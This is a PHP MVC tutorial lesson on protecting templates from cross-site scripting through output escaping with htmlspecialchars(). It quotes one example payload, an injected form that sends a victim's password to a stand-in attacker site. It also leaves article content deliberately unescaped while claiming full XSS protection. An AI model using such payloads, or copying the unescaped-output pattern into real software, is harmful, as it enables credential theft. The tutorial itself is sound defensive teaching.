Lesson 9 - Securing templates
In the previous lesson, Listing articles from the database in PHP (MVC), we printed an article from the database. In order to add features like an article editor or user login, we'll have to improve a few things first. I'm talking mainly about securing our templates, which we'll do in today's tutorial.
XSS attack
Let's start by editing the "home" article in our database. Add the following value in the title column:
<em> is my favorite tag
Here's how the system will render the article:
The <em> tag is not visible in the heading and is in italics instead. The HTML tag was added into the page and the browser processed it as such. In this case, it's only a minor problem.
However, imagine what would happen if a user enters this instead of his name:
<form action="passwordthief.com">Re-enter your password: <input type="password" name="password"><input type="submit" /></form>
The system will print a form instead of his name, where other unsuspecting users could enter their password thinking that it's our website that wants it. The password would then be sent to the attacker's website which he can exploit at will. Another nasty practice is injecting JavaScript, which can be used to steal cookies.
This kind of attack is called XSS (cross-site scripting).
Protection
The solution to this sort of problem should be pretty clear. We'll sanitize the variables that are entered by the user using the htmlspecialchars() function right before they're printed. The function will convert HTML tags to harmless entities which aren't processed by the browser. All variables should be sanitized before they're printed. As it was with the database, we're cannot guarantee which variables in a large application contain something that comes from the user. Therefore, we'll sanitize them all. Once more, just to be clear, we sanitize variables right before we print them, and we don't save entities into the database in any case. This way, all of the text in the database are exactly what the user wrote. Data in the database should be as raw as possible, the application will format said data later on.
As ou may have guessed, the first solution probably is to add the htmlspecialchars() function over every variable in every template. We can try it out on the "article" template:
<header> <h1><?= htmlspecialchars($title) ?></h1> </header> <section> <?= htmlspecialchars($content) ?> </section>
Malicious code will no longer be processed and the application will print exactly what was entered.
Now, what do you see? HTML tags are not disabled everywhere, they don't even work in the article where the link is at the bottom. Since the article content is most likely the only place where we want to process HTML tags, we'll leave the $content variable unprotected there.
Automation
Let's ask ourselves, which out of all of the variables do we need to protect? If gave it enough thought we'd end up doing about 90% of them. With this in mind, it would be very useful to automatize the process somehow and treat adding unprotected variables as a special case. Since we mostly work with single variables and associative arrays in our MVC framework, we'll create a function in the abstract controller that converts special HTML characters in the $data array to entities recursively. In the other words, it'll call the htmlspecialchars() function on all strings in the $data array and any nested arrays within it, and so on. Let's open Controller.php and add a protect() method into the class:
private function protect($x = null) { if (!isset($x)) return null; elseif (is_string($x)) return htmlspecialchars($x, ENT_QUOTES); elseif (is_array($x)) { foreach($x as $k => $v) { $x[$k] = $this->protect($v); } return $x; } else return $x; }
We'll return null in case the variable is not set, return the value converted to entities in case it's a string, and protect its items recursively if it's an array. We'll return them as they are if they're any other data type. Notice the extra parameter in the htmlspecialchars() function, it makes it so that it converts single quotes as well, which is more secure.
Now, let's modify the extract() method call in the renderView() method so the array with entities is passed:
extract($this->protect($this->data));
We're done! All of the variables extracted in the template will have been converted to entities. Now all we have to do is handle the very few cases where we don't want to convert them (e.g. the article content). The extract() function allows us to prefix variables with a string, so we'll extract the variables once more. This time, we won't protect them, and we'll set a prefix for them. This way, every variable will be available in a template twice - once under its regular name and once unprotected with the prefix. Extract() always inserts an underscore "_" character between the variable name and the prefix. If we enter an empty prefix, the extracted variables will be prefixed with ab underscore. This works out quite nicely for our intents and purposes. Let's add one more extraction (right after the original extract()) to the renderView() method:
extract($this->data, EXTR_PREFIX_ALL, "");
We'll also modify the article template, which will now look more minimalistic, which is exactly how a template should look:
<header> <h1><?= $title ?></h1> </header> <section> <?= $_content ?> </section>
Everything is protected against XSS. The raw content is only added into the article when we use the $_content variable (with an underscore prefix).
We created an extremely simple template system. We added a variable into a template using the <?= $variable ?> directive, after which the protected version of the variable is inserted. In cases where we need an unprotected variable, we use the underscore prefix <?= $_variable ?>. Our system is now safe against XSS attacks. In the next lesson, The flash-message mechanism, we'll add a flash message mechanism, as promised. Today's project in its current state is available for download below, as always.
Did you have a problem with anything? Download the sample application below and compare it with your project, you will find the error easily.
Download
By downloading the following file, you agree to the license terms
Downloaded 346x (16.29 kB)
Application includes source codes in language PHP